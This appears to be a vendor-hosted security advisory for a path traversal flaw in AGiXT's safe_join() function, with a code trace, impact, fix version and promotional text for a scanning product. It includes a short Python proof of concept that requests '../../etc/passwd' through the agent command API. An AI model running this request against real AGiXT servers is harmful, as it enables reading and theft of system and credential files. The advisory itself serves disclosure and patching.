GHSA-5gfj-64gh-mgmw is a high-severity (CVSS 8.8) Path Traversal vulnerability in agixt. O3 Security confirms whether GHSA-5gfj-64gh-mgmw is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
AGiXT Vulnerable to Path Traversal in safe_join()
Real-World Exposure
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Description
Summary
The safe_join() function in the essential_abilities extension fails to validate that resolved file paths remain within the designated agent workspace. An authenticated attacker can use directory traversal sequences to read, write, or delete arbitrary files on the server hosting the AGiXT instance.
Details
agixt/endpoints/Extension.py:165 (source) -> agixt/XT.py:1035 (hop) -> agixt/extensions/essential_abilities.py:436 (sink)
# source
command_args = command.command_args
# hop
response = await Extensions(...).execute_command(command_name=command_name, command_args=command_args)
# sink
new_path = os.path.normpath(os.path.join(self.WORKING_DIRECTORY, *paths.split("/")))
PoC
# tested on: agixt<=1.9.1
# install: pip install agixt==1.9.1
import requests
BASE = "http://localhost:7437"
TOKEN = "<your_api_key>"
headers = {"Authorization": f"Bearer {TOKEN}"}
payload = {
"command_name": "read_file",
"command_args": {
"filename": "../../etc/passwd"
}
}
r = requests.post(f"{BASE}/api/agent/MyAgent/command", json=payload, headers=headers)
print(r.text)
# expected output: root:x:0:0:root:/root:/bin/bash ...
Impact
Authenticated users can read, overwrite, or delete arbitrary files on the host server, enabling credential theft, persistent code execution, or denial of service. Authentication is required but no elevated privileges are needed beyond a valid API key.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | agixt | all versions | 1.9.2 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for agixt. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update agixt to 1.9.2 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-5gfj-64gh-mgmw is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-5gfj-64gh-mgmw is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-5gfj-64gh-mgmw. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-5gfj-64gh-mgmw in your dependencies?
O3 detects GHSA-5gfj-64gh-mgmw across PyPI dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.